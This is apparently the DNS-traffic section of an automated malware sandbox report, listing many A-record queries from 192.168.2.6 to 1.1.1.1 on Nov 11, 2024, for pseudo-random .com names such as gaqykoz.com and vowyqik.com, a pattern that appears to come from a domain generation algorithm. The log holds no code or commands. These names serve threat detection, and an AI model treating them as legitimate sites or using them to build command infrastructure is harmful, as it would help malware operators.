                                                                                                                                                                                                          Nov 11, 2024 18:13:24.306117058 CET192.168.2.61.1.1.10x70d0Standard query (0)gaqykoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.352463961 CET192.168.2.61.1.1.10x8771Standard query (0)vowyqik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.352889061 CET192.168.2.61.1.1.10xeaafStandard query (0)lygyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.353147984 CET192.168.2.61.1.1.10x9d05Standard query (0)gacyfeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.353780031 CET192.168.2.61.1.1.10x67a8Standard query (0)gahycuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.364428043 CET192.168.2.61.1.1.10xe7daStandard query (0)pupyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.429524899 CET192.168.2.61.1.1.10x4e6cStandard query (0)vocygef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.430450916 CET192.168.2.61.1.1.10xf4a5Standard query (0)gaqykoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.451035023 CET192.168.2.61.1.1.10x7027Standard query (0)pupyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.492595911 CET192.168.2.61.1.1.10x4f82Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.544589996 CET192.168.2.61.1.1.10x461dStandard query (0)lyxywer.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.577333927 CET192.168.2.61.1.1.10xe3b9Standard query (0)qexyfag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.577605009 CET192.168.2.61.1.1.10xc4e4Standard query (0)qeqyqul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.577912092 CET192.168.2.61.1.1.10x9b1cStandard query (0)puzydog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.578099966 CET192.168.2.61.1.1.10x9b93Standard query (0)qekyvol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.578514099 CET192.168.2.61.1.1.10xc89Standard query (0)lysytyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.578824043 CET192.168.2.61.1.1.10xf84Standard query (0)galyvaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.579011917 CET192.168.2.61.1.1.10xc8d2Standard query (0)pumyjip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.579291105 CET192.168.2.61.1.1.10x564Standard query (0)qedytyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.579472065 CET192.168.2.61.1.1.10x8ddcStandard query (0)volybak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.579946995 CET192.168.2.61.1.1.10x11baStandard query (0)lymyjix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.580118895 CET192.168.2.61.1.1.10xa300Standard query (0)gadypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.584762096 CET192.168.2.61.1.1.10x1b9fStandard query (0)purywoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.584958076 CET192.168.2.61.1.1.10x1c26Standard query (0)lyvytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.585444927 CET192.168.2.61.1.1.10xa7e8Standard query (0)vofypuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.586327076 CET192.168.2.61.1.1.10x81d7Standard query (0)qetyraq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.600322962 CET192.168.2.61.1.1.10xa7feStandard query (0)gatyvyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.600658894 CET192.168.2.61.1.1.10xcb8cStandard query (0)vopyrem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.601269007 CET192.168.2.61.1.1.10xa66fStandard query (0)qeqykop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.601499081 CET192.168.2.61.1.1.10x579bStandard query (0)gaqyqiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.601644039 CET192.168.2.61.1.1.10x4a0cStandard query (0)lyxyfan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.602631092 CET192.168.2.61.1.1.10xbd88Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608033895 CET192.168.2.61.1.1.10x7dc7Standard query (0)qegyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608212948 CET192.168.2.61.1.1.10xfa3cStandard query (0)puvygyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608509064 CET192.168.2.61.1.1.10x8891Standard query (0)lykyvor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.608972073 CET192.168.2.61.1.1.10xf799Standard query (0)ganyhus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.609133959 CET192.168.2.61.1.1.10xc851Standard query (0)pufyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.617588043 CET192.168.2.61.1.1.10xceb6Standard query (0)vonyjuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.618006945 CET192.168.2.61.1.1.10xc214Standard query (0)lyvygyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.618648052 CET192.168.2.61.1.1.10xce36Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.619776964 CET192.168.2.61.1.1.10xbc6cStandard query (0)qebyhuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.621510983 CET192.168.2.61.1.1.10x1b93Standard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.622495890 CET192.168.2.61.1.1.10xe377Standard query (0)lyrywoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.622875929 CET192.168.2.61.1.1.10x8f8eStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.623488903 CET192.168.2.61.1.1.10x756bStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.624118090 CET192.168.2.61.1.1.10x29bbStandard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.624696016 CET192.168.2.61.1.1.10x3e27Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.627197981 CET192.168.2.61.1.1.10x7bffStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.628998041 CET192.168.2.61.1.1.10xc2cStandard query (0)galykes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.629658937 CET192.168.2.61.1.1.10x7068Standard query (0)pumypog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.630122900 CET192.168.2.61.1.1.10x5d17Standard query (0)qedynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.630774021 CET192.168.2.61.1.1.10xcfabStandard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.632230043 CET192.168.2.61.1.1.10x9991Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.634310961 CET192.168.2.61.1.1.10x948eStandard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.634625912 CET192.168.2.61.1.1.10x68a2Standard query (0)vofymik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.634912014 CET192.168.2.61.1.1.10x4dc1Standard query (0)lyxylux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.635632038 CET192.168.2.61.1.1.10xf51Standard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.635870934 CET192.168.2.61.1.1.10x56e0Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.636069059 CET192.168.2.61.1.1.10x4950Standard query (0)lysynur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.636347055 CET192.168.2.61.1.1.10x3ad5Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.636671066 CET192.168.2.61.1.1.10xa4caStandard query (0)lygymoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.637413979 CET192.168.2.61.1.1.10xb391Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.637691021 CET192.168.2.61.1.1.10x8ecbStandard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.637768984 CET192.168.2.61.1.1.10xb054Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.638343096 CET192.168.2.61.1.1.10x9f3Standard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639013052 CET192.168.2.61.1.1.10x95abStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639095068 CET192.168.2.61.1.1.10x477aStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.639698029 CET192.168.2.61.1.1.10x8e5fStandard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.640907049 CET192.168.2.61.1.1.10x3482Standard query (0)gaqydeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.644756079 CET192.168.2.61.1.1.10xfa3fStandard query (0)qexylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.662513971 CET192.168.2.61.1.1.10x3353Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.666150093 CET192.168.2.61.1.1.10x16adStandard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.777339935 CET192.168.2.61.1.1.10xf806Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.780863047 CET192.168.2.61.1.1.10x994eStandard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.784533024 CET192.168.2.61.1.1.10x26fcStandard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.795325041 CET192.168.2.61.1.1.10xc59dStandard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.795705080 CET192.168.2.61.1.1.10xe20aStandard query (0)purycap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.802500963 CET192.168.2.61.1.1.10x9ff0Standard query (0)gacyryw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.802747011 CET192.168.2.61.1.1.10x471Standard query (0)lygygin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.857240915 CET192.168.2.61.1.1.10x2d44Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.897624016 CET192.168.2.61.1.1.10x6e1aStandard query (0)vowycac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.938561916 CET192.168.2.61.1.1.10x412Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.942970991 CET192.168.2.61.1.1.10x3d3aStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.947535992 CET192.168.2.61.1.1.10xd2e0Standard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.952128887 CET192.168.2.61.1.1.10xb5c8Standard query (0)puzybeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.973017931 CET192.168.2.61.1.1.10x551eStandard query (0)pujycil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.973880053 CET192.168.2.61.1.1.10x717bStandard query (0)gatyrah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.975994110 CET192.168.2.61.1.1.10xbbfcStandard query (0)vojycit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.976883888 CET192.168.2.61.1.1.10x24f2Standard query (0)lyxynej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.978070974 CET192.168.2.61.1.1.10x3569Standard query (0)vofyzyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.102166891 CET192.168.2.61.1.1.10x5d9eStandard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.108886957 CET192.168.2.61.1.1.10xe629Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.109016895 CET192.168.2.61.1.1.10xf4beStandard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.111696959 CET192.168.2.61.1.1.10x73c7Standard query (0)vowyqik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.111881018 CET192.168.2.61.1.1.10x5e10Standard query (0)gahycuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.112144947 CET192.168.2.61.1.1.10xc034Standard query (0)gacyfeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.112329960 CET192.168.2.61.1.1.10xf47aStandard query (0)pufymoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.112643957 CET192.168.2.61.1.1.10xe9f8Standard query (0)lygyxux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.850748062 CET192.168.2.61.1.1.10xe48fStandard query (0)qeqytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.852122068 CET192.168.2.61.1.1.10xe27cStandard query (0)vofybyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.856211901 CET192.168.2.61.1.1.10x6290Standard query (0)vowypit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.863133907 CET192.168.2.61.1.1.10xc5dcStandard query (0)lykymox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.865645885 CET192.168.2.61.1.1.10x95f9Standard query (0)gacykeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.867909908 CET192.168.2.61.1.1.10x276Standard query (0)puzyjoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.870023012 CET192.168.2.61.1.1.10x6001Standard query (0)vopydek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.875346899 CET192.168.2.61.1.1.10x3f70Standard query (0)pujymip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.877036095 CET192.168.2.61.1.1.10x37edStandard query (0)qebylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.884263992 CET192.168.2.61.1.1.10x50f1Standard query (0)gatydaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.903409004 CET192.168.2.61.1.1.10xd388Standard query (0)purypol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.903800964 CET192.168.2.61.1.1.10xad59Standard query (0)qegynuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.905056000 CET192.168.2.61.1.1.10x433eStandard query (0)lyxyjaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936322927 CET192.168.2.61.1.1.10xffc9Standard query (0)vonyryc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936484098 CET192.168.2.61.1.1.10x683bStandard query (0)galyhiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936626911 CET192.168.2.61.1.1.10x74d6Standard query (0)ganyrys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936778069 CET192.168.2.61.1.1.10x2016Standard query (0)qekyhil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.936917067 CET192.168.2.61.1.1.10x7eacStandard query (0)qegyfyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937052965 CET192.168.2.61.1.1.10x885cStandard query (0)lykygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937321901 CET192.168.2.61.1.1.10xc43eStandard query (0)vopycom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937612057 CET192.168.2.61.1.1.10x616fStandard query (0)vocyqaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937745094 CET192.168.2.61.1.1.10x1344Standard query (0)lyryxij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.937892914 CET192.168.2.61.1.1.10x6e2cStandard query (0)qebyrev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.938030005 CET192.168.2.61.1.1.10x31aaStandard query (0)qexyqog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.938168049 CET192.168.2.61.1.1.10x39b6Standard query (0)pujygul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.953042030 CET192.168.2.61.1.1.10xdc1cStandard query (0)puryxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.955373049 CET192.168.2.61.1.1.10x45c7Standard query (0)qedyveg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.955532074 CET192.168.2.61.1.1.10xd941Standard query (0)pumytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.955713034 CET192.168.2.61.1.1.10x89c6Standard query (0)vojymic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.955748081 CET192.168.2.61.1.1.10xcd5fStandard query (0)pufydep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.976151943 CET192.168.2.61.1.1.10xd5e0Standard query (0)lyvywed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.977761030 CET192.168.2.61.1.1.10xdb35Standard query (0)puvywav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.977870941 CET192.168.2.61.1.1.10x3e60Standard query (0)vojygut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978003025 CET192.168.2.61.1.1.10xa32eStandard query (0)volymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978066921 CET192.168.2.61.1.1.10x651eStandard query (0)lymytux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978218079 CET192.168.2.61.1.1.10xeaf3Standard query (0)volyjok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978377104 CET192.168.2.61.1.1.10xf559Standard query (0)gahynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978444099 CET192.168.2.61.1.1.10xbe87Standard query (0)qetysal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978540897 CET192.168.2.61.1.1.10x4278Standard query (0)gaqypiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978619099 CET192.168.2.61.1.1.10x15f4Standard query (0)gacyqob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978724957 CET192.168.2.61.1.1.10x83cbStandard query (0)lygyfex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978790045 CET192.168.2.61.1.1.10xbfeStandard query (0)puvylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978895903 CET192.168.2.61.1.1.10xcd3bStandard query (0)lyvylyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.978940964 CET192.168.2.61.1.1.10xca96Standard query (0)gadydas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.979111910 CET192.168.2.61.1.1.10x875eStandard query (0)vocykem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.979531050 CET192.168.2.61.1.1.10xd9e8Standard query (0)lymylyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.979728937 CET192.168.2.61.1.1.10x5806Standard query (0)gatycoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.979883909 CET192.168.2.61.1.1.10x90d2Standard query (0)gahyfyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980036974 CET192.168.2.61.1.1.10x3898Standard query (0)qetyxiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980189085 CET192.168.2.61.1.1.10x72bStandard query (0)qeqylyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980354071 CET192.168.2.61.1.1.10xb423Standard query (0)lyxymin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980510950 CET192.168.2.61.1.1.10x94f1Standard query (0)vowyzuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980658054 CET192.168.2.61.1.1.10x178eStandard query (0)gaqyzuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980829000 CET192.168.2.61.1.1.10x2564Standard query (0)vofydac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.980988026 CET192.168.2.61.1.1.10x5562Standard query (0)ganyzub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.981223106 CET192.168.2.61.1.1.10x676aStandard query (0)qexykaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.981638908 CET192.168.2.61.1.1.10x2759Standard query (0)pufybyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.984220982 CET192.168.2.61.1.1.10xc32dStandard query (0)gadyveb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:28.984257936 CET192.168.2.61.1.1.10x43a9Standard query (0)puzymig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.137864113 CET192.168.2.61.1.1.10x5d3dStandard query (0)gahyqah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.145159960 CET192.168.2.61.1.1.10xa12fStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.161514997 CET192.168.2.61.1.1.10x9267Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.180037975 CET192.168.2.61.1.1.10x58afStandard query (0)vojyqem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.193443060 CET192.168.2.61.1.1.10x32aStandard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.206515074 CET192.168.2.61.1.1.10x58fcStandard query (0)gatyfus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.208904982 CET192.168.2.61.1.1.10x8f65Standard query (0)lyvyxor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.209439039 CET192.168.2.61.1.1.10x5f29Standard query (0)qetyfuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.252800941 CET192.168.2.61.1.1.10x10c0Standard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.263993979 CET192.168.2.61.1.1.10x5d7eStandard query (0)vojyjof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.264791012 CET192.168.2.61.1.1.10xd288Standard query (0)gadyniw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.340703964 CET192.168.2.61.1.1.10xc4b5Standard query (0)qetyvep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.348736048 CET192.168.2.61.1.1.10x53b9Standard query (0)lyryvex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.349683046 CET192.168.2.61.1.1.10x4e88Standard query (0)puvytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.368113995 CET192.168.2.61.1.1.10xff58Standard query (0)vowydef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.370193958 CET192.168.2.61.1.1.10xe9fdStandard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.378870010 CET192.168.2.61.1.1.10x9d0Standard query (0)gahyhob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.380770922 CET192.168.2.61.1.1.10xa8b7Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.402923107 CET192.168.2.61.1.1.10x1120Standard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.409113884 CET192.168.2.61.1.1.10xe56cStandard query (0)pufygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.419281960 CET192.168.2.61.1.1.10x4e7dStandard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.555912971 CET192.168.2.61.1.1.10x3726Standard query (0)gacynuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.556931019 CET192.168.2.61.1.1.10xdb89Standard query (0)lygysij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.557965994 CET192.168.2.61.1.1.10x5645Standard query (0)gaqykab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.560534000 CET192.168.2.61.1.1.10x99f2Standard query (0)purylev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Nov 11, 2024 18:13:35.569071054 CET192.168.2.61.1.1.10x4d16Standard query (0)vowykaf.comA (IP address)IN (0x0001)false
